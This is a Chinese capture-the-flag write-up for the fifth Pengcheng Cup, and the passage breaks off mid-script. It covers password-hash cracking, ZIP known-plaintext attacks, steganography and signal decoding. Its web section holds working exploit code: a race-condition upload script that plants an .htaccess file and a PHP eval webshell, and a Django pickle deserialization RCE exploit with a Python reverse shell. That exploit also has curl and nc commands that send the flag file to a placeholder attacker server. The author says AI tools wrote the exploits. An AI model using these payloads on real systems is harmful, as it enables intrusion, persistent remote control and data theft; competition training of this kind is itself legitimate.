2025 第五届“鹏城杯”联邦网络靶场协同攻防演练 writeup
第五届鹏城杯
MISC
pcb5-SMB
先扫smb得到htlm hash
然后执行命令
hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt --force
解出密码12megankirwin12
然后wireshark打开,Edit(编辑) > Preferences(首选项)> Protocols(协议) > NTLM
填入解密就能得到解密后的流量了
导出的letter.zip
letter.zip是加密的,但里面只有一个exe文件,
查看属性
名称: letter.exe
文件夹: -
大小: 1 208 956
压缩后大小: 1 208 968
修改时间: 2025-11-20 16:16:45.9020254
创建时间: 2025-11-20 16:15:39.5207110
访问时间: 2025-11-20 16:19:10.0354277
属性: A
加密: +
CRC: BD589FC1
算法: ZipCrypto Store
特征: NTFS : Encrypt Descriptor
主操作系统: FAT
版本: 20
卷索引: 0
偏移: 0
------------------------:
大小: 1 208 956
压缩后大小: 1 208 968
文件夹: 0
文件: 1
CRC: BD589FC1
------------------------:
类型: zip
物理大小: 1 209 122
------------------------:
------------------------:
ZipCrypto Store(不压缩),这非常适合已知明文攻击
猜测是exe文件头明文攻击
命令:
bkcrack-1.8.1-win64>bkcrack -C letter.zip -c letter.exe -x 0 4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000得到了密钥,直接破解就行:
bkcrack -C letter.zip -c letter.exe -k 68cc45ab 864060ce ac958caa -d letter_decrypted.exe解出来的exe放到ida分析
是Rust语言的程序
发给AI分析主函数letter::main即可
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 从 letter.exe 提取的 19 字节加密数据
encrypted_data = bytes([
0x24, 0x2e, 0x23, 0x25, 0x39, 0x0c, 0x72, 0x35,
0x1d, 0x17, 0x6f, 0x14, 0x73, 0x21, 0x36, 0x2d,
0x30, 0x3b, 0x3f
])
# XOR 密钥(IDA 分析得到)
xor_key = 0x42
# 解密:每个字节与密钥异或
flag = bytes([b ^ xor_key for b in encrypted_data])
# 输出结果
print(flag.decode('ascii'))flag{N0w_U-V1ctory}
pcb5-Hidden
题目给了个bmp图片,放到随波逐流里面分析,能发现有LSB隐写
隐写内容
RGB:存在密码PixelWhisper
然后steghide隐写提取就行
flag{a9a3c2872e428b6d859a0e63458a43f8}
pcb5-The_Rogue_Beacon
之前不知道这个题让干啥,找了半天can的末位去猜测是musc拼接字符,直到提示说找异常序列包的sha256,那就简单多了
干扰帧通常有以下特点:
- CAN ID 固定,出现次数稳定(例如 825 次)
- Payload 循环模板化:去重后 payload 数量非常少(如 4~8),而不是随时间平滑变化
- 数值跳动不连续或完全重复,没有物理量的连续变化规律
- DLC 可变但实际有效数据小,大部分只是占位填充
结论:大部分 ID 是干扰/占线填充数据,只需要记录这些特征即可过滤
另外:CAN 数据本身没有 GPS/里程字段,所以只能通过速度积分得到相对位置。
让AI辅助这个思路写个脚本:
from scapy.all import rdpcap, Raw
from collections import defaultdict
import struct
import hashlib
# ---------- 配置 ----------
pcap_file = "The Rogue Beacon.pcap"
packets = rdpcap(pcap_file)
# ---------- 按 CAN ID 分组 ----------
can_data = defaultdict(list) # {can_id: [(frame_no, data_bytes)]}
frame_no = 0
for pkt in packets:
frame_no += 1
if Raw not in pkt:
continue
raw = bytes(pkt[Raw])
if len(raw) < 8:
continue
# SocketCAN 小端 CAN ID
can_id = struct.unpack("<I", raw[0:4])[0] & 0x1FFFFFFF
# Data 字节
data = raw[8:]
can_data[can_id].append((frame_no, data))
# ---------- 剥离干扰 ID ----------
# 干扰典型特征:出现次数多,但 unique payload 少
real_can_id = None
for cid, lst in can_data.items():
unique_payloads = set(d for _, d in lst)
if len(lst) > 100 and len(unique_payloads) > 100:
# payload 数量大且变化连续 → 真车速信号
real_can_id = cid
break
if real_can_id is None:
raise Exception("未找到真实车速信号")
# ---------- 解析真实车速 ----------
peak_speed = -1
peak_frame = -1
speed_series = []
for fn, data in can_data[real_can_id]:
if len(data) < 5: # DLC=5, 取 data[3]和data[4]
continue
raw_speed = (data[3] << 8) | data[4]
speed_kmh = raw_speed / 100.0
speed_series.append((fn, speed_kmh))
if speed_kmh > peak_speed:
peak_speed = speed_kmh
peak_frame = fn
peak_data = data[:8] # 保存完整帧原始数据
# ---------- 计算 flag ----------
flag_hash = hashlib.sha256(str(peak_frame).encode()).hexdigest()
flag = f"{flag_hash}"
# ---------- 输出结果 ----------
print(f"[+] 真实车速 CAN ID: 0x{real_can_id:x}")
print(f"[+] 峰值速度: {peak_speed:.2f} km/h")
print(f"[+] 峰值帧序号: {peak_frame}")
print(f"[+] 峰值帧原始数据: {peak_data.hex()}")
print(f"[+] flag: {flag}")
# ---------- 可选:速度积分计算距离 ----------
# 需要时间戳支持,如果 Raw 层有时间戳,可累加速度得到距离
# 简单例子(假设每帧时间间隔 dt=0.000425 s,可从抓包文件获取实际值)
# distance_m = 0
# for i in range(1, len(speed_series)):
# dt = 0.000425 # 替换为实际帧间隔秒
# v_avg = (speed_series[i-1][1] + speed_series[i][1]) / 2 # km/h
# distance_m += v_avg * 1000 / 3600 * dt
# print(f"[+] 峰值发生距离约: {distance_m:.2f} m")故flag{9db878fd06dd7587a91c0fb600e0e9f7c3ea310e75f36253ef57ac2d92dd8c29}
pcb5-whiteout
d531...cfb (文件 1):这个文件包含一个文件 /opt/.data/.logs/syslog.bin ,它的内容是加密/编码后的数据:Q[VPLSXT\REh@_^CRXBChQXERYD^TDh^DhQBYJ 。
6ad1...9a9 (文件 2):这个文件包含一个 Python 脚本 /opt/app/decode.py
(0x37是Ascii 55也就是utf8 :7)
flag{docker_whiteout_forensics_is_fun}
pcb5-ZipCracker
题目给了一张图片,加密的压缩包和一个文本文件
先看图片
可以看到文件包含了压缩包的,分离一下打开拿到了flag1.txt和flag2.txt,但是是乱码
接下来看文本文件,里面一堆东西是这是一个 GNU Radio Companion (GRC) 流程图文件(.grc),它描述了一个无线电信号处理流程。
password.wav- 音频文件(可能是密码音频)- 输出到
flag1.txt和flag2.txt
password.wav → 带通滤波 → 乘以音量 → 添加PL Tone → NBFM调制 → 低通滤波 → 输出flag1.txt / flag2.txt 是 192 kHz 的 I/Q float32 流(直接来自 blocks_complex_to_float)。
需要做 FM 解调(NBFM)得到基带音频。
再降采样到 48 kHz 才是最终音频。
里面嵌入了 Morse 数字密码,可以用带通 + 包络 + 阈值检测解码。
import zipfile
import numpy as np
from scipy.signal import decimate, hilbert, butter, filtfilt
# 输入 / 输出采样率
IF_RATE = 192_000
DECIMATION = 4
AUDIO_RATE = IF_RATE // DECIMATION
# Morse 数字映射
NUM_MORSE = {
"-----":"0", ".----":"1", "..---":"2", "...--":"3", "....-":"4",
".....":"5", "-....":"6", "--...":"7", "---..":"8", "----.":"9"
}
def read_iq_from_zip(zip_path):
with zipfile.ZipFile(zip_path) as zf:
raw_i = zf.read("flag1.txt")
raw_q = zf.read("flag2.txt")
i_arr = np.frombuffer(raw_i, dtype='<f4').astype(np.float64)
q_arr = np.frombuffer(raw_q, dtype='<f4').astype(np.float64)
return i_arr, q_arr
def nbfm_demodulate(I, Q):
signal_complex = I + 1j * Q
phase_diff = np.angle(signal_complex[1:] * np.conj(signal_complex[:-1]))
phase_diff -= np.mean(phase_diff)
audio_down = decimate(phase_diff, DECIMATION, ftype='fir', zero_phase=True)
return audio_down
def extract_morse_numbers(audio_signal):
# 带通滤波,捕获 Morse tone (~250-350Hz)
f_low, f_high = 250, 350
b, a = butter(4, [f_low/(AUDIO_RATE/2), f_high/(AUDIO_RATE/2)], btype='band')
filtered = filtfilt(b, a, audio_signal)
# 包络
envelope = np.abs(hilbert(filtered))
smooth_win = int(AUDIO_RATE * 0.01)
envelope_smooth = np.convolve(envelope, np.ones(smooth_win)/smooth_win, mode='same')
threshold = np.percentile(envelope_smooth, 75) * 0.3
tone_key = envelope_smooth > threshold
# 计算 run-length
rle = []
current = bool(tone_key[0])
start_idx = 0
for idx in range(1, len(tone_key)):
if bool(tone_key[idx]) != current:
rle.append((current, start_idx, idx))
current = bool(tone_key[idx])
start_idx = idx
rle.append((current, start_idx, len(tone_key)))
# 点划与间隔统计
on_durations = [(e-s)/AUDIO_RATE for st,s,e in rle if st]
off_durations = [(e-s)/AUDIO_RATE for st,s,e in rle if not st]
dot_len = np.median([d for d in on_durations if d < 0.2])
dash_len = np.median([d for d in on_durations if d > 0.2])
intra_gap = np.median([d for d in off_durations if d < 0.2])
inter_gap = np.median([d for d in off_durations if d > 0.2])
dot_dash_thr = (dot_len + dash_len) / 2
gap_thr = (intra_gap + inter_gap) / 2
# Morse 解码
morse_chars = []
current_symbol = ""
for st, s, e in rle:
duration = (e-s)/AUDIO_RATE
if st:
current_symbol += "." if duration < dot_dash_thr else "-"
else:
if duration > gap_thr and current_symbol:
morse_chars.append(current_symbol)
current_symbol = ""
if current_symbol:
morse_chars.append(current_symbol)
# 仅提取数字
return "".join(NUM_MORSE[sym] for sym in morse_chars)
if __name__ == "__main__":
I_data, Q_data = read_iq_from_zip("flag2.zip")#这里flag2.zip是有flag1.txt和flag2.txt的压缩包
audio = nbfm_demodulate(I_data, Q_data)
password = extract_morse_numbers(audio)
print("[+] password =", password)解压得到flag.txt
知道了flag头
采用已知明文爆破
bkcrack.exe -C flag.zip -c flag.txt -x 0 666c61677b593075 -x 25 2121217d得到:
[11:56:58] Z reduction using 1 bytes of known plaintext
100.0 % (1 / 1)
[11:56:58] Attack on 2555904 Z values at index 6
Keys: 33b19021 93c4a78d 9ceed931
13.3 % (339194 / 2555904)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 339194
[12:00:19] Keys
33b19021 93c4a78d 9ceed931然后
bkcrack -C flag.zip -c flag.txt -k 33b19021 93c4a78d 9ceed931 -d realflag.txt即可
flag{Y0u_r_th3_Z1p_k1ng!!!!!}
time
题目上来就给了个 ELF 文件
nc 给出的服务器,会给出 base64 编码后的 zip 文件数据流,并询问现在几点,解压出来发现图片,就是个时钟
因为 OpenCV 的识别率不高,且考虑到只有 12 种情况,所以用建哈希表的玩法
import base64
import sys
from pwn import remote, context
from zipfile import ZipFile
from hashlib import md5
# 计算 0 - 11 点的图片的 md5
hashmap = {}
for _ in range(12):
with open(f"preset/{_}.png", "rb") as f:
data = f.read()
h = md5(data).hexdigest()
hashmap[h] = _
context.log_level = "debug"
io = remote("192.168.18.31", 24001)
TIPSIG = b'):\n'
intro = io.recvline()
data = io.recvline()
carriage = io.recvline()
tip = io.recvline()
print(tip)
result = TIPSIG
while TIPSIG in result:
zipstream = base64.b64decode(data)
with open("tmp.zip", "wb") as f:
f.write(zipstream)
with ZipFile("tmp.zip", "r") as zip_ref:
zip_ref.extractall(".")
with open("0.png", "rb") as f:
imgdata = f.read()
h = md5(imgdata).hexdigest()
if h in hashmap:
hour = hashmap[h]
minute = hour * 5
else:
hour, minute = 0, 0
print(f"Send line: {hour}:{minute:02d}")
# 发送结果
io.sendline(f"{hour}:{minute:02d}".encode())
result = io.recvuntil(TIPSIG)
print(result.decode())
io.interactive()然后发现第一次正确了,第二次直接炸,手动也是这样
看了一下,输入应该是 hmm,就不要中间的那个冒号,所以我这里应该是卡输入格式问题了,重新修正了一下
import base64
import io
import sys
from pwn import remote, context
from zipfile import ZipFile
from hashlib import md5
context.log_level = "debug"
hashmap = {}
print("[*] Loading presets...")
try:
for _ in range(12):
with open(f"preset/{_}.png", "rb") as f:
data = f.read()
h = md5(data).hexdigest()
hashmap[h] = _
print(f"[+] Loaded {len(hashmap)} presets.")
except Exception as e:
print(f"[-] Error loading presets: {e}")
sys.exit(1)
try:
p = remote("192.168.18.31", 24001)
except:
print("[-] Connection failed")
sys.exit(1)
PROMPT = b'): '
for i in range(12):
print(f"\n========== Round {i+1} / 12 ==========")
try:
raw_data = p.recvuntil(PROMPT)
except EOFError:
print("[-] Server disconnected prematurely.")
break
lines = raw_data.strip().split(b'\n')
b64_data = b""
for line in lines:
if len(line) > 100:
b64_data = line.strip()
break
if not b64_data:
print("[-] Base64 data not found.")
break
target_idx = 0
try:
zip_bytes = base64.b64decode(b64_data)
with ZipFile(io.BytesIO(zip_bytes), "r") as z:
img_data = z.read("0.png")
img_hash = md5(img_data).hexdigest()
if img_hash in hashmap:
target_idx = hashmap[img_hash]
print(f"[+] Match! Index: {target_idx} (Hash: {img_hash[:6]}...)")
# 保存 7.zip 用来后面明文攻击
with open(f"debug/round_{i+1}_matched_{target_idx}.zip", "wb") as f:
f.write(zip_bytes)
else:
print(f"[-] No match for hash: {img_hash[:6]}...")
except Exception as e:
print(f"[-] Error processing image: {e}")
break
payload = str(target_idx)
print(f"[>] Sending: {payload}")
p.sendline(payload.encode())
try:
output = p.clean(timeout=0.1)
print(output.decode(errors='ignore'))
except:
pass
cmd = b'socat -u FILE:"Bandizip(flag).zip" STDOUT'
print(f"[>] Sending: {cmd}")
p.sendline(cmd)
print("[*] Receiving raw stream...")
total_data = b""
try:
while True:
# 设置短超时,快速轮询
chunk = p.recv(timeout=1)
if not chunk:
break
total_data += chunk
if len(total_data) > 223000:
break
except Exception as e:
print(f"recv error: {e}")
print(f"[+] Total received: {len(total_data)} bytes")
zip_header = b'\x50\x4B\x03\x04'
start_idx = total_data.find(zip_header)
if start_idx != -1:
print(f"[+] Found ZIP header at offset: {start_idx}")
real_size = 222544
clean_data = total_data[start_idx : start_idx + real_size]
with open("flag_new.zip", "wb") as f:
f.write(clean_data)
print(f"[+] Saved 'flag_new.zip' ({len(clean_data)} bytes).")
print("[*] Now verify with: bkcrack -L flag_new.zip")
else:
print("[-] Still no ZIP header found. Dumping all...")
with open("flag_dump.bin", "wb") as f:
f.write(total_data)
p.close()里面有 7.zip,大概率是要 7 点的那个压缩包
拿着 7:35 的图片的压缩包来 crack
$ bkcrack -C .\flag_new.zip -c 7.zip -p round_10_matched_7.zip
bkcrack 1.8.1 - 2025-10-25
[14:52:49] Z reduction using 218793 bytes of known plaintext
3.9 % (8631 / 218793)
[14:52:50] Attack on 241 Z values at index 211131
Keys: bf431018 6033e5d1 33389c81
100.0 % (241 / 241)
Found a solution. Stopping.
[14:52:50] Keys
bf431018 6033e5d1 33389c81
$ bkcrack -C flag_new.zip -k bf431018 6033e5d1 33389c81 -U flag_cracked.zip "Volcania"
bkcrack 1.8.1 - 2025-10-25
[14:54:02] Writing unlocked archive flag_cracked.zip with password "Volcania"
100.0 % (2 / 2)
Wrote unlocked archive.得到 data.txt,是艺术字
flag{pwn_misc_re_web_ai}
Web
ez_php
访问题目页面,是一个登录页。经尝试,不存在弱口令;使用sqlmap测试,不存在sql注入。
页面下方有一句话,“hello guest”;查看http请求发现页面自动设置了一个Cookie: identification=TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6Imd1ZXN0Ijt9
解码之后就是b'O:12:"Session\\User":1:{s:22:"\x00Session\\User\x00username";s:5:"guest";}'
尝试将这里的guest改为admin,页面回显:hello guest</br> <br>unserialize(): Error at offset 55 of 61 bytes</br> <br>only admin can login</br><br>try to bypass</br>
竟然产生了语法报错,怀疑是对敏感词替换为空了,于是将admin改为adadminmin双写绕过
回显竟然又变成了hello guest
看来很有可能是递归替换
那就换一种绕过方式,用十六进制
e = "TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6Imd1ZXN0Ijt9"
import base64
import urllib.parse
decoded = base64.b64decode(e)
# print(decoded)
de = b'O:12:"Session\\User":1:{s:22:"\x00Session\\User\x00username";S:5:"adadminm\\69n";}'
pld = base64.b64encode(de).decode()
print(urllib.parse.quote_plus(pld))
将脚本输出替换原来的cookie,成功进入后台
dashboard页面有三个功能:
- 查看笔记
- 导出笔记(导出为tar)
- 写笔记(文件上传)
profile页面有三个功能:
- 上传单个头像
- 上传多个头像(tar文件),每次使用随机的头像
- 更新个人信息
目录扫描结果:
[09:08:11] Scanning:
[09:08:27] 302 - 0B - /dashboard.php -> index.php
[09:08:29] 200 - 19B - /flag.php
[09:08:35] 302 - 0B - /profile.php -> index.php
[09:08:39] 200 - 1KB - /test.txt
[09:08:40] 200 - 0B - /upload.php有flag.php,但是直接访问是两行sh命令,尝试使用dashboard页面的查看笔记功能查看flag.php源码
尝试使用php伪协议发现没有效果,看来不是include而是file_get_contents
发现有过滤,末尾加/绕过即可,file_get_contents会自动处理
Uplssse
随便注册个号登进去,提示只有admin可以上传文件哦
查看Cookie,有一个user_auth=Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjM6IjExMSI7czo4OiJwYXNzd29yZCI7czozOiIxMTEiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjA7fQ%3D%3D
按下图所示方式将序列化字符串中的"is_admin"改为1
用新得到的cookie访问,
看“安全提示”,很显然是条件竞争漏洞。
尝试上传文件,发现上传在tmp目录下,访问发现403。。。。。
看相应包知服务端是Apache/2.4.25 (Debian)
所以可以上传.htaccess绕过403
然后再条件竞争就能传马了
下面贴出ai写的脚本
import requests
import threading
import time
# --- 配置 ---
TARGET_IP = "192.168.18.26"
TARGET_PORT = "25002"
BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}"
UPLOAD_URL = f"{BASE_URL}/upload.php"
ACCESS_URL = f"{BASE_URL}/tmp/shell.png" # 注意这里访问的是 png
SHELL_URL = f"{BASE_URL}/shell.php" # 最终生成的不死马
HEADERS = {
"User-Agent": "Mozilla/5.0",
"Cookie": "user_auth=Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjM6IjExMSI7czo4OiJwYXNzd29yZCI7czozOiIxMTEiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ%3D%3D"
}
# --- Payload 内容 ---
# 1. .htaccess 内容:解除403限制 + 解析png为php
HTACCESS_CONTENT = """
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
Require all granted
</FilesMatch>
"""
# 2. shell.png 内容:生成不死马
SHELL_CONTENT = """<?php
file_put_contents('../shell.php', '<?php @eval($_REQUEST["cmd"]);?>');
echo "SUCCESS_HTACCESS_RACE";
?>"""
is_success = False
def upload_htaccess():
"""疯狂上传 .htaccess"""
global is_success
files = {'file': ('.htaccess', HTACCESS_CONTENT, 'application/octet-stream')}
data = {'upload': '上传文件'}
while not is_success:
try:
requests.post(UPLOAD_URL, files=files, data=data, headers=HEADERS, timeout=1)
except: pass
def upload_png():
"""疯狂上传 shell.png"""
global is_success
files = {'file': ('shell.png', SHELL_CONTENT, 'image/png')}
data = {'upload': '上传文件'}
while not is_success:
try:
requests.post(UPLOAD_URL, files=files, data=data, headers=HEADERS, timeout=1)
except: pass
def access_worker():
"""疯狂访问,试图触发执行"""
global is_success
while not is_success:
try:
res = requests.get(ACCESS_URL, headers=HEADERS, timeout=1)
if "SUCCESS_HTACCESS_RACE" in res.text:
print(f"\n[+] 竞争成功!利用 .htaccess 绕过 403 并执行代码。")
is_success = True
verify_shell()
except: pass
def verify_shell():
print(f"[*] 正在验证根目录 Webshell...")
try:
res = requests.get(SHELL_URL, params={"cmd": "whoami"}, headers=HEADERS, timeout=3)
if res.status_code == 200:
print(f"[!!!] Webshell 获取成功!地址: {SHELL_URL}")
print(f"[*] 执行结果: {res.text.strip()}")
else:
print(f"[-] Shell 可能已生成但访问失败 (Status: {res.status_code})")
except Exception as e:
print(f"[-] 验证出错: {e}")
def main():
print("[*] 开始 .htaccess + 文件的双重竞争...")
threads = []
# 增加线程数量,因为需要撞击两个文件同时存在的极小概率
# 20个线程传 .htaccess
for _ in range(20):
t = threading.Thread(target=upload_htaccess)
t.daemon = True; t.start(); threads.append(t)
# 20个线程传 shell.png
for _ in range(20):
t = threading.Thread(target=upload_png)
t.daemon = True; t.start(); threads.append(t)
# 30个线程疯狂访问
for _ in range(30):
t = threading.Thread(target=access_worker)
t.daemon = True; t.start(); threads.append(t)
try:
while not is_success:
time.sleep(0.5)
except KeyboardInterrupt:
print("\n[*] 停止")
if __name__ == "__main__":
main()
运行一会儿停掉脚本,访问/shell.php即可
后面蚁剑就能连

ezDjango
这题代码太复杂了人工看不过来,全靠ai了;
狠狠的鞭策Claude Sonnet 4.5让她给我写了个一键执行命令+拿回显的脚本😋
#!/usr/bin/env python3
"""
Django FileBasedCache Pickle 反序列化 RCE Exploit
针对题目: pcb2025 cacheapp
攻击链:
1. 构造恶意Django缓存文件(包含pickle RCE payload)
2. 上传到 /tmp/ (upload_payload endpoint)
3. 复制到缓存目录 /tmp/django_cache/ (copy_file endpoint)
4. 触发 cache.get() 反序列化 (cache_trigger endpoint)
Author: CTF Player
Date: 2025-12-13
"""
import os
import sys
import pickle
import zlib
import hashlib
import requests
import time
import base64
from io import BytesIO
class Exploit:
def __init__(self, target_url, cache_key='pwn', cache_path='/tmp/django_cache'):
"""
初始化exploit
Args:
target_url: 目标URL (如 http://localhost:8000)
cache_key: 缓存键名 (默认从settings.py的CACHE_KEY环境变量)
cache_path: 缓存目录 (默认从settings.py的CACHE_PATH环境变量)
"""
self.target_url = target_url.rstrip('/')
self.cache_key = cache_key
self.cache_path = cache_path
self.session = requests.Session()
# 计算目标缓存文件名
self.cache_filename = self._compute_cache_filename(cache_key)
self.full_cache_path = f"{self.cache_path}/{self.cache_filename}"
print(f"[*] 目标URL: {self.target_url}")
print(f"[*] 缓存键: {self.cache_key}")
print(f"[*] 缓存文件名: {self.cache_filename}")
print(f"[*] 缓存目录: {self.cache_path}")
print(f"[*] 完整缓存路径: {self.full_cache_path}")
def _compute_cache_filename(self, key):
"""计算Django缓存文件名"""
# Django的make_key默认会添加版本前缀 :1:
# 格式: :version:key
versioned_key = f":1:{key}"
hashed = hashlib.md5(versioned_key.encode()).hexdigest()
return f"{hashed}.djcache"
def _create_malicious_cache_file(self, command):
"""
创建恶意Django缓存文件
Django FileBasedCache格式:
[pickle.dumps(expire_time)] + [zlib.compress(pickle.dumps(value))]
Args:
command: 要执行的shell命令
Returns:
bytes: 完整的缓存文件内容
"""
# 第一部分: 过期时间 (设置为未来的时间戳)
expire_time = 9999999999 # 2286年
expire_pickle = pickle.dumps(expire_time, pickle.HIGHEST_PROTOCOL)
# 第二部分: 恶意payload
class RCE:
def __reduce__(self):
# 使用os.system执行命令(在Linux上运行脚本时不会有问题)
return (os.system, (command,))
malicious_payload = pickle.dumps(RCE(), pickle.HIGHEST_PROTOCOL)
compressed_payload = zlib.compress(malicious_payload)
# 组合完整文件
cache_file_content = expire_pickle + compressed_payload
return cache_file_content
def _create_reverse_shell_payload(self, attacker_ip, attacker_port):
"""
创建反弹shell payload
Args:
attacker_ip: 攻击者IP
attacker_port: 攻击者监听端口
"""
# Python反弹shell
command = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{attacker_ip}\",{attacker_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
return self._create_malicious_cache_file(command)
def _create_flag_read_payload(self, flag_path='/flag', output_method='curl'):
"""
创建读取flag的payload
Args:
flag_path: flag文件路径
output_method: 输出方式 (curl/nc/file)
"""
if output_method == 'curl':
# 通过HTTP外带数据 (需要提供你的服务器)
command = f"curl http://YOUR_SERVER:8080/$(cat {flag_path} | base64)"
elif output_method == 'nc':
# 通过netcat外带数据
command = f"cat {flag_path} | nc YOUR_SERVER 8080"
elif output_method == 'file':
# 写入到web可访问目录
command = f"cat {flag_path} > /app/static/uploads/flag.txt"
else:
# 简单验证命令执行
command = f"touch /tmp/pwned_$(date +%s)"
return self._create_malicious_cache_file(command)
def upload_malicious_file(self, cache_content):
"""
步骤1: 上传恶意缓存文件到 /tmp/
Args:
cache_content: 缓存文件内容
Returns:
str: 上传后的文件路径
"""
print("\n[+] 步骤1: 上传恶意缓存文件...")
url = f"{self.target_url}/upload/"
# 创建文件对象
files = {
'file': ('exploit.cache', BytesIO(cache_content), 'application/octet-stream')
}
data = {
'filename': 'exploit.cache'
}
try:
resp = self.session.post(url, files=files, data=data)
result = resp.json()
if result.get('status') == 'success':
filepath = result.get('filepath')
print(f"[✓] 上传成功: {filepath}")
return filepath
else:
print(f"[✗] 上传失败: {result.get('message')}")
return None
except Exception as e:
print(f"[✗] 上传异常: {e}")
return None
def copy_to_cache_dir(self, src_path):
"""
步骤2: 复制文件到缓存目录
Args:
src_path: 源文件路径
Returns:
bool: 是否成功
"""
print("\n[+] 步骤2: 复制文件到缓存目录...")
url = f"{self.target_url}/copy/"
# 使用 / 拼接路径,确保在Linux服务器上正确
dst_path = f"{self.cache_path}/{self.cache_filename}"
data = {
'src': src_path,
'dst': dst_path
}
try:
resp = self.session.post(url, data=data)
result = resp.json()
if result.get('status') == 'success':
print(f"[✓] 复制成功: {src_path} -> {dst_path}")
return True
else:
print(f"[✗] 复制失败: {result.get('message')}")
return False
except Exception as e:
print(f"[✗] 复制异常: {e}")
return False
def trigger_deserialization(self):
"""
步骤3: 触发缓存反序列化
Returns:
dict: 服务器响应
"""
print("\n[+] 步骤3: 触发反序列化...")
url = f"{self.target_url}/cache/trigger/"
data = {
'key': self.cache_key
}
try:
resp = self.session.post(url, data=data)
result = resp.json()
print(f"[✓] 触发完成")
print(f" 响应: {result}")
return result
except Exception as e:
print(f"[!] 触发异常: {e}")
print(f" 这可能意味着代码已执行但服务器崩溃")
return None
def verify_cache_file_exists(self):
"""
验证缓存文件是否存在 (使用cache_viewer)
"""
print("\n[*] 验证缓存文件...")
url = f"{self.target_url}/cache/viewer/"
data = {'key': self.cache_key}
print(f" 目标缓存路径: {self.cache_path}/{self.cache_filename}")
try:
resp = self.session.post(url, data=data)
result = resp.json()
if result.get('status') == 'success':
print(f"[✓] 缓存文件存在: {result.get('cache_path')}")
print(f" 内容预览(hex): {result.get('raw_content')[:100]}...")
return True
else:
print(f"[✗] 缓存文件不存在")
return False
except Exception as e:
print(f"[!] 验证异常: {e}")
return False
def _read_command_output(self, output_file):
"""
通过生成第二个RCE命令来读取第一个命令的输出
Args:
output_file: 输出文件路径
Returns:
str: 文件内容
"""
try:
# 方法:使用第二个RCE命令,把输出base64编码后存入缓存
# 这样可以避免二进制/特殊字符问题
import hashlib
read_key = 'output_reader'
read_cache_file = hashlib.md5(f':1:{read_key}'.encode()).hexdigest() + '.djcache'
# 构造一个特殊的RCE:读取输出文件内容并包装成Django缓存格式
# 使用Python来创建正确格式的缓存文件
wrapper_cmd = f"""python3 -c "
import pickle, zlib, time
try:
with open('{output_file}', 'r') as f:
content = f.read()
expire = pickle.dumps(9999999999, pickle.HIGHEST_PROTOCOL)
value = pickle.dumps(content, pickle.HIGHEST_PROTOCOL)
with open('{self.cache_path}/{read_cache_file}', 'wb') as out:
out.write(expire)
out.write(zlib.compress(value))
except Exception as e:
pass
" """
# 执行wrapper命令
cache_content = self._create_malicious_cache_file(wrapper_cmd)
src_path = self.upload_malicious_file(cache_content)
if src_path:
self.copy_to_cache_dir(src_path)
time.sleep(0.3)
self.trigger_deserialization()
time.sleep(0.3)
# 现在读取包装后的缓存
result = self.session.post(
f"{self.target_url}/cache/trigger/",
data={'key': read_key}
).json()
if result.get('status') == 'success':
output = result.get('value', '')
if output and output != 'None':
return output
# 如果上面的方法失败,尝试直接复制文件然后提示手动读取
print(f"[*] 提示:输出已保存到服务器 {output_file}")
print(f"[*] 手动读取命令:")
print(f" python3 exploit.py {self.target_url} -c 'cat {output_file}'")
return None
except Exception as e:
print(f"[!] 读取输出异常: {e}")
return None
def exploit_command_exec(self, command, get_output=True):
"""
完整攻击流程: 执行任意命令
Args:
command: 要执行的shell命令
get_output: 是否自动获取命令输出
"""
print("="*60)
print("Django FileBasedCache RCE Exploit")
print("="*60)
# 如果需要获取输出,修改命令让其重定向到文件
output_file = f'/tmp/rce_output_{int(time.time())}.txt'
if get_output:
original_command = command
command = f"{command} > {output_file} 2>&1"
print(f"\n[*] 原始命令: {original_command}")
print(f"[*] 输出文件: {output_file}")
else:
print(f"\n[*] Payload命令: {command}")
# 生成payload
cache_content = self._create_malicious_cache_file(command)
print(f"[*] 缓存文件大小: {len(cache_content)} bytes")
# 执行攻击链
src_path = self.upload_malicious_file(cache_content)
if not src_path:
print("\n[✗] 攻击失败: 上传阶段")
return False
if not self.copy_to_cache_dir(src_path):
print("\n[✗] 攻击失败: 复制阶段")
return False
# 验证文件
self.verify_cache_file_exists()
# 触发
self.trigger_deserialization()
print("\n" + "="*60)
print("[✓] 攻击完成!")
print("="*60)
# 获取命令输出
if get_output:
time.sleep(0.5) # 等待命令执行完成
output = self._read_command_output(output_file)
if output:
print("\n" + "="*60)
print("[命令输出]")
print("="*60)
print(output)
print("="*60)
else:
print("\n[!] 未能获取命令输出")
return True
def exploit_read_flag(self, flag_path='/flag'):
"""
快捷方法: 读取flag到static目录
"""
# 尝试多个可能的路径
command = f"cat {flag_path} > /app/static/uploads/flag.txt 2>&1 || cat {flag_path} > /tmp/../app/static/uploads/flag.txt 2>&1 || cp {flag_path} /tmp/flag_backup.txt 2>&1"
if self.exploit_command_exec(command):
print("\n[*] 尝试访问flag:")
print(f" {self.target_url}/static/uploads/flag.txt")
# 尝试读取
time.sleep(1)
try:
resp = self.session.get(f"{self.target_url}/static/uploads/flag.txt")
if resp.status_code == 200:
print(f"\n[FLAG] {resp.text}")
else:
print(f"[!] 无法访问flag文件 (状态码: {resp.status_code})")
except Exception as e:
print(f"[!] 读取flag异常: {e}")
def main():
"""主函数"""
import argparse
parser = argparse.ArgumentParser(
description='Django FileBasedCache Pickle RCE Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
示例:
# 基本命令执行
python exploit.py http://target:8000 -c "id"
